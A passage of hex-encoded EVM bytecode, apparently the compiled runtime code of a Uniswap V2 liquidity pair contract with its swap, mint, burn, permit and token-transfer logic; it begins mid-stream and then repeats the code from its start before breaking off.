94b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429
608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffff